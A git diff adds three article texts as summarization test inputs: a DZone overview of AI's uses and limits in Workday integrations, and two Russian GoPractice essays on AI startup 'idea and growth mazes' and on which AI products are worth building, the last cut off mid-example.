a/tests/summarization/https___dzone.com_articles_where-ai-fits-and-fails-in-workday-integrations.txt b/tests/summarization/https___dzone.com_articles_where-ai-fits-and-fails-in-workday-integrations.txt new file mode 100644 index 0000000..bfc8686 --- /dev/null +++ b/tests/summarization/https___dzone.com_articles_where-ai-fits-and-fails-in-workday-integrations.txt @@ -0,0 +1,2 @@ +Workday integrations sit at the heart of enterprise HR and finance systems, connecting Workday with myriad external applications. As artificial intelligence (AI) makes inroads into enterprise software, Workday engineers are exploring how AI can augment integration development and operations. From mapping data fields to detecting anomalies, AI promises to reduce manual effort and improve reliability. Yet amid the excitement, it is critical to distinguish where AI adds clear value versus where it overpromises or introduces risk. This strategic overview examines both sides, providing a balanced perspective for technically fluent Workday professionals. Workday itself has signaled a strong commitment to AI, embedding machine learning and automation into its platform. The goal is to weave intelligence into the flow of work rather than create standalone AI silos. For integration teams, this means new tools and features are emerging to streamline workflows. At the same time, seasoned engineers know that complex integrations require human insight. As we will see, AI will likely serve as an enhancer — not a replacement — for the expertise and judgment of Workday integration developers. With that context, let’s explore specific use cases where AI fits in Workday integrations and where it fails to live up to the hype. Where AI Fits in Workday Integrations Integration Mapping and Design Assistance One tedious aspect of integrations is mapping data fields and designing transformation logic between Workday and external systems. AI can accelerate this by analyzing schemas and suggesting mappings or API calls. For example, Workday’s new Developer Copilot can recommend the best Workday API for a given use case and even generate code snippets or orchestrations to kick-start development. This means an engineer can describe an integration task and receive initial mappings or code templates from the AI. Such assistance speeds up the design phase, allowing engineers to focus on fine-tuning business rules. The key benefit is efficiency: the AI rapidly sifts through Workday’s extensive APIs and integration tools to surface relevant components, functioning like a smart search engine for integration development. When used properly, these AI-generated suggestions can save time in Studio or EIB build-outs while still requiring developer validation and customization. Anomaly Detection and Monitoring AI excels at pattern recognition, which is invaluable for monitoring integration health. Machine learning models can learn what normal integration behavior looks like and flag anomalies in real time. Workday has started leveraging this capability in its finance and HCM products; for instance, AI-driven tools can identify irregular journal entries or timesheet submissions that deviate from norms. In the integration context, similar anomaly detection can catch issues such as unusually large data loads, suspicious data patterns, or integration runs that take too long. Third-party solutions are already bringing this capability into Workday environments. By proactively catching outliers, AI monitors reduce the burden of manual checks and help prevent downstream errors. The fit here is clear: AI can continuously monitor integration logs and data flows 24/7, alerting engineers to exceptions before they escalate. Test Automation and Regression QA Workday’s ecosystem is dynamic. With biannual releases and frequent configuration changes, continuous testing is essential. AI-powered test automation is a game changer for integration QA. Instead of writing countless test scripts manually, AI can generate test cases and even self-heal tests when UIs or APIs change. Modern Workday testing platforms use AI agents to automatically run regression suites and integration tests, ensuring existing processes do not break after updates. This is especially useful when Workday releases updates that may impact integrations. AI can prioritize tests based on risk, simulate various data conditions, and alert teams to failures — all with minimal human intervention. Real-world implementations support this approach: large Workday customers have achieved significant reductions in testing effort and faster rollout of updates by leveraging AI-driven testing frameworks. In short, AI fits perfectly as a tireless QA assistant, catching integration bugs and regression issues that humans might miss. Documentation Generation Anyone who has built a complex Workday Studio or Orchestrate flow knows the challenge of keeping documentation up to date. AI can help by generating and updating integration documentation directly from the actual configuration. Workday’s Developer Copilot, for example, can not only create orchestrations but also summarize their behavior into documentation on demand. After building a flow, an engineer can ask the AI to produce a clear description of what the integration does, the steps involved, and how errors are handled. Such auto-generated documentation is invaluable for knowledge transfer and auditing. Additionally, generative AI can help explain integration errors or logs in plain language, effectively acting as a tutor for less experienced developers. By converting raw technical details into human-readable narratives, AI ensures that integration knowledge is captured and shared. This use case fits well because it addresses a real pain point — the time-consuming task of documentation — while keeping pace with frequent integration changes. Exception Handling and Resolution Perhaps the most promising area for AI is intelligent exception handling. In traditional integrations, errors are logged and execution stops, requiring manual troubleshooting. AI can improve this through both predictive prevention and auto-remediation. Predictively, machine learning can identify potential failures in advance — for example, detecting incoming data sets with missing required fields and prompting correction. For auto-remediation, AI agents can attempt to resolve errors in real time. A compelling example comes from AI-driven workflow systems in healthcare, where AI agents handled exceptions in claims processing by gathering missing information or suggesting corrections, reducing processing time from 14 days to 48 hours and cutting errors by 67%. Applied to Workday integrations, AI could automatically retry executions after adjusting field formats or route issues to the appropriate engineer with recommended fixes. Workday’s platform is already moving in this direction by embedding intelligent routing and resolution into Orchestrate. In practice, AI-assisted exception handling means fewer overnight alerts for on-call engineers and faster issue resolution — a clear value win. Where AI Fails: Overpromises and Risks in Integrations Despite these benefits, Workday engineers should approach AI with healthy skepticism. Several areas reveal its current limitations and risks. Data Privacy and Security Workday integrations frequently process sensitive personal and financial data. Using external AI services may expose this data, creating compliance risks. Workday’s leadership has emphasized that while AI models thrive on data, innovation must be balanced with strict privacy safeguards. Feeding real employee data into external AI tools can be dangerous. Engineers should prioritize AI solutions that keep data within Workday’s secure boundaries or rely on anonymized or synthetic data. Accuracy and Hallucinations Generative AI is prone to hallucinations — outputs that appear valid but are incorrect. In integration design, an AI might suggest a plausible-looking field mapping that is wrong for the business context. Unlike syntax errors, these issues may not surface until production failures occur. Over-reliance on AI without validation can therefore introduce defects. Human-in-the-loop oversight remains essential. AI should enhance — not replace — expert judgment. Context and Domain Expertise Workday integrations often involve complex business rules and edge cases. AI models trained on generalized data may not understand these nuances, leading to one-size-fits-all recommendations that fail in specific tenant configurations. In practice, AI may deliver 80% of the solution, but the final 20% still requires human expertise to tailor, validate, and approve. Oversight and Governance As AI begins automating workflows or making decisions, accountability becomes critical. Who is responsible if an AI-driven integration makes an incorrect change? Workday leaders have cautioned that as agentic AI becomes more autonomous, strong governance is required to ensure outcomes align with business intent and ethical standards. Blind trust in AI can lead to automation complacency, where teams lose understanding of their integrations because the AI is doing it. This is dangerous if the AI encounters a scenario it wasn’t trained for. Clear escalation rules, audit trails, and fallback mechanisms are essential safeguards. In short, AI’s limitations in Workday integrations stem from overconfidence in its capabilities. Data privacy risks, potential inaccuracies, lack of context, and governance challenges all underscore that AI is a powerful tool — but not a silver bullet. Since integrations are the lifelines of enterprise data, mistakes can have serious operational or compliance consequences. A cautious, well-governed approach is essential. The Evolving Role of AI in HCM and Financial Integrations Looking ahead, AI is poised to become a core component of the Workday integration toolkit. Recent announcements highlight this direction, including an AI Developer Toolset that brings Illuminate capabilities into development, an Agent Gateway for AI agents, and an expanded AI API suite. We can expect deeper AI integration within Workday Integration Cloud. In HCM, AI may help seamlessly align worker data with external benefits providers; in finance, it may optimize integration schedules based on transaction patterns. Eventually, AI could enable natural-language-driven integration development, where engineers describe requirements in plain English and receive a draft integration. Developer Copilot already points in this direction. Importantly, these advancements will evolve alongside governance enhancements. Enterprise integrations will gain intelligence while retaining controls for validation, auditing, and human override. The engineers who succeed will be those who treat AI as a co-developer — delegating repetitive tasks to AI while applying critical thinking and direction. Conclusion and Actionable Insights for Workday Engineers AI introduces powerful new capabilities for Workday integrations, from smarter design and testing to proactive monitoring and resolution. The key is to embrace AI where it fits while remaining mindful of its limits. Workday engineers can begin realizing value today by following these practices: Start small with high-impact areas: Apply AI to well-defined tasks such as test automation or anomaly detection, where ROI is clear and risk is low. Early wins will build confidence and skills in your team. Validate and tune AI outputs: Treat AI recommendations as you would a junior engineer’s work — review, test, and refine them using your domain expertise. For instance, if an AI suggests a field mapping for an EIB, double-check it against Workday’s data dictionary. This ensures you catch hallucinations or context misses before they cause issues. Safeguard data and privacy: Avoid using real sensitive data with generative AI tools; rely on anonymized data or Workday’s secure, in-platform AI features. Always adhere to your organization’s data privacy policies. AI adoption should never come at the expense of compliance. Maintain human oversight: Ensure AI-driven actions are observable, auditable, and subject to escalation paths. By pairing automation with oversight, you get efficiency with control. Keep skills current: The AI landscape will continue to evolve rapidly. Invest in learning Workday’s AI features, prompting techniques, and governance guidance to use these tools responsibly. By following these principles, Workday engineers can navigate AI adoption with confidence. When applied thoughtfully, AI becomes a powerful ally — handling repetitive work, surfacing insights, and accelerating delivery. The most successful integration teams will blend machine efficiency with human discernment, creating workflows that are both intelligent and trustworthy. +============== diff --git a/tests/summarization/https___gopractice.ru_product_ai-products-mazes_.txt b/tests/summarization/https___gopractice.ru_product_ai-products-mazes_.txt new file mode 100644 index 0000000..92ec604 --- /dev/null +++ b/tests/summarization/https___gopractice.ru_product_ai-products-mazes_.txt @@ -0,0 +1,2 @@ +Развитие AI и повышение доступности технологий для разработчиков привели к появлению большого числа AI-стартапов за последние годы. Фаундер каждого из них стремится найти ту самую идею, которая перевернет представление о привычных инструментах и приведет миллионы пользователей. Неизбежная эволюция рынка AI-продуктов приведет к тому, что большинство идей будут уже испробованы, а продуктам будет тяжело обеспечить защищенность своего бизнеса от конкурентов. В такой ситуации копирование станет нормой, а ключевые инсайты будут лежать в плоскости дистрибуции и масштабирования. В этом эссе Эндрю Чен (Andrew Chen) рассуждает о понятиях «лабиринта идей» и «лабиринта роста» в контексте нынешней волны AI, проводит параллели с развитием интернета и рынком мобильных приложений и поднимает важные вопросы о маркетинге в эпоху AI. GoPractice публикует его перевод. Эндрю Чен (Andrew Chen) — признанный американский эксперт в области роста продуктов. В 2015-2018 годах — руководитель команды роста в Uber. С 2018 года — партнер венчурного фонда Andreessen Horowitz. Автор блога и рассылки на тему роста продуктов с более 200 000 подписчиков (по собственным данным). Автор книги «The Cold Start Problem». Больше об авторе: страница в LinkedIn, личный блог. ↓ Фазовый сдвиг рынка AI-продуктов Бум искусственного интеллекта последних лет простимулировал создание огромного количества инфраструктуры, что значительно расширило круг разработчиков, способных создавать новые AI-продукты. С появлением тысяч новых AI-стартапов необходимые для создания нового продукта инсайты изменятся. Копирование и подражание другим продуктам станут нормой, так как защищенность бизнеса со временем снижается — это произошло и в вебе, и в мобайле, и AI-продукты столкнутся с теми же вызовами. В последние годы все внимание уделялось решению «лабиринта идей» (Idea Maze) — то есть поиску пути, который приведет к лучшей идее и позволит избежать ошибок. В будущем же найти «лучшую идею» будет недостаточно: нужно будет точно понимать, как ее масштабировать. Это так называемый «лабиринт роста» (Growth Maze). Этот лабиринт подразумевает серию решений, необходимых для выбора правильной начальной целевой аудитории и стратегии запуска, эксперименты для ускорения роста, адаптацию продукта в соответствии со стратегией, и в конечном итоге понимание того, как сделать продукт по-настоящему массовым. Но прежде чем мы разберем «лабиринт роста», давайте обсудим «лабиринт идей». Лабиринт идей «Лабиринт идей» — одна из моих любимых концепций о стартапах, выдержавшая проверку временем. Ее придумал мой друг Баладжи Шринивасан, бывший директор a16z и технический директор Coinbase. Он написал об этой концепции много лет назад в своих лекционных заметках о предпринимательстве, начав с этой диаграммы: Также он дает такое пояснение: У фаундера должна быть не только идея, но и видение всего лабиринта идей с высоты птичьего полета. Чаще всего пользователи видят только тот путь, которые выбрала компания. Но они не видят тех путей, по которым компания не пошла, и уж точно не задумываются о других компаниях, которые затерялись в тупиках и не добрались до клиента. Поэтому лабиринт — весьма хорошая аналогия. Хорошая идея подразумевает взгляд на лабиринт идей с высоты птичьего полета, понимание всевозможных вариаций идеи и веток дерева решений, проигрывание ситуаций от начала до конца для каждого сценария. Найти вход в лабиринт просто, но мало кто способен продумать все возможные пути в нем. Если вы можете устно, а затем графически изобразить сложное дерево решений с множеством альтернатив и способны объяснить, почему ваш план движения по лабиринту лучше, чем у компаний, провалившихся в ямы или заблудившихся в лабиринте, то на руках у вас будут весомые аргументы в пользу вашей идеи. Именно здесь ключевую роль играют историческая перспектива и исследование рынка: чтобы иметь действительно сильный план навигации по лабиринту, нужно быть одержимым рынком и иметь уникальные инсайты о нем. Иными словами, зачастую люди так влюбляются в свою идею продукта, что на полной скорости несутся ее реализовывать, не вдаваясь в историю категории, контекст других неудачных попыток и т.д. Но дело в том, что видение лабиринта с высоты дает важные подсказки, объясняющие, почему та или иная идея еще не реализована. А если вы не видите лабиринт, как вы можете его решить? Скорее всего, вы просто повторите ошибки других. Кстати, в моей повседневной работе в венчурном фонде a16z я особенно обращаю внимание в стартапах на то, насколько фаундер изучил свой уголок лабиринта идей. Я задаю им несколько простых вопросов: «Почему ты выбрал фичу X вместо Y? Почему решил начать с X, а не с Y?» и «Почему, по-твоему, X не сработал как продукт? Как думаешь, как дела у продукта X на рынке?» Когда вам попадается фаундер с действительно глубоким пониманием лабиринта, то с ним чрезвычайно интересно вести беседу. Часто это самый явный признак того, что человек является экспертом в своей области, и за час вы узнаете от него больше, чем сами узнали бы за месяцы. И с другой стороны, нужно совсем немного времени, чтобы понять, что кто-то находится на слишком раннем этапе понимания лабиринта. Поскольку у меня нет экспертизы в их уголке лабиринта, то если я не узнаю от них что-то новое, обычно это значит, что они либо слишком рано начали, либо им недостает навыков. Все-таки они должны быть экспертами и должны были провести месяцы или годы над изучением проблемы. Поэтому каждое их слово должно учить меня чему-то новому. Конечно, бывает все совсем наоборот. Мир постоянно меняется, и подчас именно оптика новичка позволяет попробовать что-то старое вновь и достичь успеха. Иногда Kozmo.com терпит неудачу, а Doordash добивается успеха. То же самое актуально для Pets.com/Chewy, Friendster/Facebook* и т.д. Часто молодые предприниматели прокладывают путь в лабиринте новыми и необычными способами, которые кажутся ошибочными «опытным» людям, и все же добиваются успеха! Что касается «лабиринта идей» в контексте AI, то мы наблюдаем переход от одного типа лабиринта к другому. Последние несколько лет мы наблюдали поток технологических прорывов, но их частота может уменьшиться, а сами инновации станут доступны лишь для крупных корпораций (а не стартапов) и докторов наук в области AI. Прежние «лабиринты идей», казавшиеся изученными и пройденными, например поисковые системы, CRM или почтовые клиенты, могут быть изобретены заново благодаря возможностям AI. Сегодня с нуля формируются новые категории; и хотя, например, пока нет многомиллиардного бизнеса вокруг предоставления виртуального супруга, несомненно, у нас появится что-то подобное в ближайшие годы. Именно поэтому AI так важен и интересен: он способен оживить широкие классы продуктов, так же как мобильные устройства и интернет сделали это в прошлом. Лабиринт роста Теперь давайте разберемся с концепцией «лабиринта роста». Это сложная серия взаимозависимых решений с бесконечным количеством вариантов. Она отражает то, как новый продукт в конечном итоге становится мейнстримным. Лабиринт подразумевает принятие таких решений о росте продукта: — потенциальные отправные точки: Ваша изначальная аудитория будет сильно влиять на то, к чему придет ваш продукт. Где вы найдете своих первых клиентов? (запуск в колледжах? сарафанное радио? посты на Reddit?). Их отзывы повлияют как на сам продукт, так и на последующие продуктовые решения. — дилеммы на всем пути: На каждой развилке «лабиринта роста» вас ждут большие решения: Идти в корпоративный сегмент или пытаться расти снизу вверх, пробовать механику product-led growth? Нанять эксперта по SEM или агентство для запуска через социальные сети? Сделать цены высокими и направлять доходы на рекламу или выбрать freemium-модель и сделать ставку на виральность? Некоторые решения обратимы, но многие нет: если вы запускаетесь по одной модели, вам может быть трудно очистить интернет от всех этих упоминаний, если вы передумаете. — сроки: Как долго вы планируете придерживаться одной стратегии, прежде чем перейти к другой? Запуск в колледжах — проверенный временем способ получить десятки тысяч пользователей, но не миллионы. Расти снизу вверх — отлично, но когда вы планируете идти в корпоративный сегмент? — тупики, shortcuts, скрытые пути и ловушки: В вашей продуктовой категории могут быть предыдущие попытки, которые подскажут, куда вы можете двигаться. Допустим, вы работаете над AI-компаньоном. Вы можете распознать сходство вашей категории с играми – симуляторами свиданий, и это скрытая дверь, ведущая вас в другой лабиринт. Или вы можете знать, что у Character.ai хорошие показатели преимущественно в верхней части воронки, а у вас могут быть идеи о том, как улучшить Retention. — зависимость от контекста: Конечно, путь каждого продукта уникален. Так, UX вашего продукта может быть не слишком хорош, но у него сильная виральность с фокусом на молодых пользователей. Это осознание может увести вас по другому пути, оставив попытки отполировать продукт под нужды профессиональных пользователей. В отличие от «лабиринта идей», по которому вы движетесь через работу над фичами, по «лабиринту роста» вы двигаетесь через Go-to-market (GTM) инициативы, то есть вопросы вокруг определения аудитории, ценообразования, каналов роста и пр. Вы можете нацеливаться на новые аудитории. Конечная цель «лабиринта роста» — достичь каналов нирваны. Это масштабируемые, экономически эффективные стратегии роста, которые в конечном итоге приводят продукт к миллионам пользователей и миллионам долларов выручки. Успешное решение «лабиринта роста» подразумевает правильные выборы в нужное время, прыжки из одной части в другую и, конечно, заметную долю удачи. «Лабиринт идей» и «лабиринт роста» взаимосвязаны, и возможно, «лабиринт идей и лабиринт роста» — это инь и янь, две стороны одной медали. Новый «лабиринт роста» AI Решение «лабиринта роста» может сильно отличаться в эпоху до AI и в грядущих волнах инноваций AI. AI заново изобретет маркетинг, и таким образом, мы можем увидеть совершенно новые ответвления в «лабиринте роста»: стоит ли нам нанимать традиционное брендинговое агентство, чтобы выбрать логотип, позиционирование и все остальное, или доверить эту задачу нашим AI-агентам? расширять ли команду продаж и искать клиентов по-старому или использовать новый агентный AI для продаж, который общается с потенциальными клиентами за нас? делать ли ставку на SEM/SEO или экспериментировать с рекламными блоками внутри ответов LLM и AI-компаньонов? позиционируем ли мы себя как AI-продукт или наоборот, делаем ставку на участие человека в нашей работе? и многое другое. Таким образом, роль маркетолога может кардинально измениться. Вместо контроля за постоянными итерациями рекламных кампаний они будут определять общую стратегию и делегировать AI-маркетологам генерацию креативов и выбор нужных сегментов аудитории. Возможно, в 2030 году маркетологи будут смотреть на «лабиринт роста» с высоты птичьего полета, а не так, как мы работаем сегодня: оптимизируя отдельные эксперименты, перемещая кнопки и переписывая заголовки лендингов. Какой лабиринт важнее? На начальном этапе S-образной кривой новой технологии пользовательский опыт определяется магическим ощущением, создаваемым ранними поколениями технологии. Помните момент, когда вы впервые вышли в интернет через мобильный Safari? А когда вы загрузили фотографию на веб-сайт и создали свой первый профиль в социальной сети? А потом увидели ленту постов ваших друзей? Эти моменты ощущаются магическими просто потому, что это работает. Но на более поздний этапах S-кривой простой функциональности недостаточно. После регистрации в пятом для себя мессенджере вы уже не испытываете волшебства. Долгое время мы пользовались термином “mobile-first startups”, но сейчас мы просто отбросили приставку mobile-first и снова стали называть их стартапами. И это значит, что «лабиринт идей» в этом сегменте уже хорошо изучен, все ловушки отмечены и закрыты, а люди не исследуют его с тем же энтузиазмом, что и раньше. В таком контексте инновации часто происходят через «лабиринт роста», когда добиться успеха помогают превосходная дистрибуция и лишь «достаточно хороший» продукт. Еще несколько итераций, и такой продукт может стать лучшим на рынке. И я думаю, что на рынке AI мы вот-вот увидим эту двойную гонку, в которой стартапы будут пытаться найти лучшее решение одновременно и для «лабиринта идей», и для «лабиринта роста». Узнайте больше — 4 типа AI-продуктов, которые стоит делать людям с продуктовой экспертизой — Почему будут востребованы AI-продакт-менеджеры — Рынок AI: стартапы VS корпорации *Facebook принадлежит Meta (признана в России экстремистской организацией и запрещена) +============== diff --git a/tests/summarization/https___gopractice.ru_product_ai-products_.txt b/tests/summarization/https___gopractice.ru_product_ai-products_.txt new file mode 100644 index 0000000..7bf2404 --- /dev/null +++ b/tests/summarization/https___gopractice.ru_product_ai-products_.txt @@ -0,0 +1,2 @@ +Привет, это Олег Якубенков. После выхода GPT-3.5 мы со знакомым придумали с десяток идей продуктов, которые стали возможны благодаря этой технологии. Но уже за следующий год большинство идей перестали быть актуальными. Во многом — из-за выхода GPT-4 и других запусков крупных технологических компаний. Тогда я попытался представить ситуацию, что я год работал над проектом, ценность которого обнулилась за один день. На основе размышлений получился материал, который вы сейчас читаете. В нем я попытаюсь ответить на следующий вопрос: 💡 Какие новые AI-продукты имеет смысл запускать людям с продуктовым бэкграундом? В процессе работы я прослушал и изучил большое количество материалов от ведущих инвесторов, предпринимателей и рисерчеров в сфере AI. Ссылки на эти материалы вы найдете в конце материала. Все написанное ниже — это мои размышления и выводы из них. В их основе лежат предположения, которые вполне могут оказаться неверными. Но для упрощения я формулирую их утвердительно, словно это факты. Оглавление О каких AI-продуктах пойдет речь Критерии успеха AI-продуктов Какие AI-продукты я бы не стал делать Какие AI-продукты имеет смысл делать Источники О каких AI-продуктах пойдет речь Давайте исходить из того, что существуют два вида AI-продуктов — инфраструктурные и прикладные. Чем они различаются, хорошо расскажет картинка ниже. В этом материале речь пойдет про прикладные продукты на основе AI, или так называемый Application Level. Инфраструктурные продукты я оставлю за рамками обсуждения. В силу своей специфики они плохо подходят людям с продуктовым бэкграундом. Я также исключил из обсуждения продукты, где добавление AI не создает никакой добавочной ценности. На рынке такого много, как бывает в период любого хайпа. Меня интересует сегмент AI-продуктов, которые решают понятную задачу и создают ценность для конечного клиента. Давайте попробуем ответить на вопрос, какие из них с высокой вероятностью исчезнут через несколько лет, а какие — займут свои ниши и будут долго приносить прибыль. Прежде, чем мы перейдем дальше Команда GoPractice создала два образовательных продукта для тех, кто хочет развивать свои компетенции в AI/ML на основе преимущественно продуктового бэкграунда. Мини-симулятор «Генеративный AI для продакт-менеджеров» — это хороший старт для того, чтобы разобраться, как применять GenAI для создания продуктов и автоматизации процессов. «AI/ML-симулятор для продакт-менеджеров» — более комплексный образовательный продукт. В нем вы реализуете 4 проекта, посвященных наиболее распространенным AI-задачам. Cоветую обратить внимание на эти продукты и изучить подробнее, как они могут помочь вам продвинуться на пути применения AI/ML. Курс «AI/ML-симулятор для продакт-менеджеров» в группе с ментором: 🔹 Научитесь видеть возможности для применения AI/ML в вашей текущей роли 🔹 Запустите собственный продукт с AI/ML → Оставьте заявку на участие в группе ← Критерии успеха AI-продуктов В рамках этого материала я буду делить идеи потенциальных AI-продуктов на две категории: Что делать нет смысла. Что делать имеет смысл. В категорию «нет смысла» попадают: Продукты, которые стремительно растут после запуска, но в перспективе не могут стать прибыльными из-за сильной конкуренции, отрицательной юнит-экономики и других причин. Продукты, которые добиваются краткосрочного успеха (стремительного роста и прибыли), но не могут сохранить позиции в долгосрочной перспективе из-за неустойчивой модели, недолгого спроса или по другим причинам. Продукты под продажу «стратегу» (например, глобальной IT-корпорации) — с уникальной технологией или командой, но без реального бизнеса вокруг них. В категорию «имеет смысл» я буду относить: Продукты, которые могут управляемо расти и генерировать прибыль на протяжении длительного периода времени. Перед тем как переходить к непосредственному разбору этих категорий, еще один важный комментарий. Продукты из категории «нет смысла» могут приводить к крутым результатам. Некоторые команды и компании заинтересованы в том, чтобы создавать виральные продукты, достигающие яркого, но краткосрочного успеха, либо работать над созданием технологий или платформ под продажу большим игрокам. Но мне интересно обсудить именно создание продуктов, которые могут генерировать прибыль долгосрочно на основе создаваемой ими ценности. Какие AI-продукты я бы не стал делать Мы договорились, что будем обсуждать AI-продукты, которые могут создавать ценность. Но даже среди них есть такие, которые делать человеку с продуктовым бэкграундом, на мой взгляд, особого смысла нет. Ключевым фактором для анализа идей тут будет фактор защищаемости ценности, которую создает продукт, в долгосрочной перспективе. От кого ее предстоит защищать? От технологических гигантов, разрабатывающих фундаментальные AI-модели и массовые продукты; От компаний, которые в данный момент контролируют тот или иной рынок; От конкуренции с другими командами и компаниями, которые увидели схожие возможности и начали новый проект. Анализируя идеи продуктов через эту призму, я бы отнес к категории «Что делать нет смысла»: Фундаментальные технологические продукты, а также производные от них массовые B2C-продукты; «Обертки» поверх GPT-моделей; Новые продукты в нишах, где текущие игроки уже внедряют AI; Продукты для AI-разработчиков. Каждую из этих категорий мы обсудим подробнее, поэтому если какая-то из них показалась вам не вполне понятной или очевидной — просто читайте дальше. Фундаментальные технологические, а также производные от них массовые B2C-продукты Давайте посмотрим, как интернет развивался в прошлом: это поможет понять, что происходит в нем сейчас в рамках нового технологического сдвига. Первыми стали появляться продукты, которые распространялись и продавались как софт для решения различных задач. Наиболее конкурентными стали сегменты рынка, где продукт боролся за решение задачи десятков или сотен миллионов пользователей. Вот примеры подобных продуктов: Операционные системы. Microsoft Windows, Linux. Интернет-браузеры. Internet Explorer, Google Chrome, Mozilla Firefox. Поисковые системы. Yahoo! Search, Google Search, Yandex Search. Продукты для работы с изображениями и видео. Adobe Creative Cloud. Жесткая конкуренция за эти рынки была более чем оправдана. Победители наслаждались монопольным или дуопольным положением, нулевыми издержками при продаже дополнительных копий их продукта, очень высокой маржинальностью и перспективой дальнейшего роста за счет постоянного прибавления новых пользователей интернета. Со временем большинство непосредственно софтверных ниш были заняты. Поэтому новые компании и инвесторы постепенно стали переключать внимание на продукты, где конечным клиентам продавался уже не софт, а конечная услуга. Софт стал лишь частью цепочки создания ценности. Примеры таких продуктов: Заказ такси (Uber, «Яндекс Такси»). Доставка еды из ресторанов (Doordash, Uber Eats, Deliveroo). Заказ продуктов (Amazon Fresh). Необанки (Revolut, Monzo, N26). Каршеринги (ShareNow, Zipcar, «Яндекс Драйв»). Такие бизнесы обладают меньшей маржинальностью, а их масштабирование требует большего количества ресурсов. Дело в том, что каждая дополнительная офлайн-локация потребует нового или по крайней мере измененного подхода для запуска и развития. И именно поэтому Google, Microsoft, Facebook* и другие технологические гиганты не стали бороться за эти сегменты. Это, в свою очередь, позволило другим предпринимателям построить многомиллиардные компании в этих нишах. Давайте теперь посмотрим на волну генеративного AI. Она раскатывается схожим образом. На данный момент борьба идет за большие, «софтверные» сегменты рынка. Примеры таких продуктов Первые успешные AI-продукты текущей волны приняли форму софтверных/API-продуктов: Фундаментальные платформы. OpenAI, Anthropic, Midjourney, Runway, Llama. Производные от них массовые B2C-продукты: Универсальные чат-боты. ChatGPT, Gemini. Умный поиск. Perplexity. Всевозможные Copilots. GitHub Copilot, Amazon CodeWhisperer, Salesforce Einstein Copilot. Интеграции LLM c операционными системами. AI от Apple. В чем проблема сегмента Любые крупные сегменты рынка, где один продукт может покрыть нужды десятков или сотен миллионов пользователей (а это и есть упомянутые выше универсальные ассистенты, системы генерации изображений, разные copiliots и так далее) будут в первом приоритете всех крупных IT-компаний. Именно в эту сферу за сигналами первых успехов ринулись гигантские и крупные технологические компании (Google, Meta**, Amazon, Microsoft, Salesforce, Canva и другие), а также стартапы с сильными командами и большими инвестициями. Такая динамика уже сейчас привела к красному океану, где у отдельных небольших команд практически нет шансов на успех. С высокой вероятностью все то ценное, что может быть придумано вами и вашей командой, будет сделано IT-гигантами еще до того, как вы успеете создать и выпустить первую версию своего продукта. На стороне крупных компаний все преимущества: ресурсы (и вычислительные, и денежные), данные, таланты, возможность инвестировать в исследования и эксперименты. И самое главное — дистрибуция. Даже если вы найдете правильную форму продукта, то у крупных технологических компаний будет несколько лет в запасе, чтобы повторить ваше решение и все равно выиграть рынок. Достаточно вспомнить давнюю историю противостояния Slack и Microsoft Teams. Иллюстрация проблемы В качестве показательного примера можно взять Stability AI. Компания привлекла более $150 миллионов, создала популярную модель Stable Diffusion для генерации изображений на основе текста, добилась product/market fit и на волне популярности привлекла огромное число пользователей. Несмотря на все это, за следующие два года на фоне жесткой конкуренции со стороны OpenAI, Midjourney и других игроков компания столкнулась с финансовыми сложностями, уходом ключевых людей, инициированной инвесторами сменой топ-менеджмента. По ходу развития этой истории появлялись новости, что инвесторы ищут потенциального покупателя. Исключения всегда возможны Если вы (или ваш ключевой партнер) — инженер уровня ведущих специалистов OpenAI или DeepMind и у вас есть специфичная экспертиза в узком востребованном домене, то это может дать достаточный задел лидерства, чтобы привлечь ресурсы и обогнать остальных в этом локальном сегменте рынка. Другой потенциально выигрышный вариант: если у вас есть уникальные собственные данные в такой узкой области, которые получить с нуля очень дорого и сложно. Например, датасет по специфичным задачам узкопрофильного производства или по диагностике редких болезней. Такой датасет может обеспечить вам защиту от конкуренции и сделать инвестиции в более фундаментальные технологические продукты оправданными. Но стоит учитывать, что в этом случае ваш рынок будет сильно ограничен по объему. «Обертки» поверх GPT-моделей Другая категория продуктов, которая будет с высокой вероятностью обнуляться с каждым обновлением от OpenAI и других игроков — это «обертки» поверх фундаментальных моделей. Такие сервисы строятся на основе фундаментальных моделей (GPT-x, Llama, Gemini и так далее), а их добавочная ценность создается через решение различных локальных проблем текущих версий этих моделей. Для решения этих проблем чаще всего используются: Промпт-инжиниринг или дообучение модели (fine-tuning); Создание интеграций с внешними сервисами и провайдерами; Добавление удобного UX/UI под узкую задачу. Примеры продуктов «Оберток» огромное множество. Но с выходом каждой новой версии фундаментальной модели значительная их часть оказывается под угрозой, так как перестает создавать ценность. Ниже я привожу те, что смогли создать относительно устойчивую ценность: Jasper, Copy.ai: сервисы для написания текстов (писем, анонсов, контрактов, постов и так далее). СhatPRD: сервис для создания PRD (Product Requirement Document) для продакт-менеджеров. Spellwise: AI-клавиатура для iOS. Инструменты для саммаризации текстов и видео, формирования саммари встреч или звонков, генерации идей, логотипов и так далее. В чем проблема сегмента Как правило, добавочная ценность «оберток» строится на локальных неэффективностях фундаментальной модели. Как следствие, эта ценность по сути является кусочком пластыря поверх временной проблемы — она сильно ограничена. Учитывая темп развития фундаментальных моделей, такие проблемы часто оказываются решены уже в следующей версии. Это обнуляет ценность многих «оберток» с каждым релизом модели. Если же созданная в «обертке» ценность все же оказалась устойчива против улучшений фундаментальной модели, а бизнес показал быстрый рост, то стоит ожидать конкуренции со стороны других стартапов, а также крупных компаний и операционных систем с мощными каналами дистрибуции (что возвращает нас к мыслям из предыдущего раздела про B2C-сервисы). Для примера привожу фрагмент размышлений Сэма Альтмана, CEO OpenAI по этой теме: Я думаю, сейчас возможны две стратегии для создания продуктов на основе AI. В основе первой стратегии лежит предположение, что фундаментальная модель не будет становиться лучше, а поэтому логично создавать всякие маленькие штуковины поверх нее. Другая стратегия в том, что OpenAI будет сохранять свою траекторию развития, а это значит, что модели будут становиться все лучше и лучше в том же темпе. На мой взгляд, 95% людей должны сделать ставку на вторую стратегию. Но все же многие стартапы были построены на основе первой стратегии, что всякий раз заканчивается мемом «OpenAI убил мой стартап», когда мы делаем нашу модель и ее инструменты лучше. Иллюстрация проблемы Возьмем в качестве примера компанию Jasper, которая разрабатывает сервис для написания текстов с помощью генеративных моделей. Сначала у Jasper дела шли очень хорошо. Компания публично запустила продукт в январе 2021 года на базе GPT-3. В 2021 году компания заработала $45 миллионов (доступ к GPT-3 все еще ограничен и выдается точечно). В 2022 году доход вырос почти на 100% и составил $80 миллионов (доступ к API GPT-3 и 3.5 ограничен вплоть до ноября). В конце 2022 года Jasper привлекает $125 миллионов по оценке $1.5 миллиарда. Деньги должны пойти на масштабирование. Компания прогнозирует выручку в $250 миллионов в 2024 году. 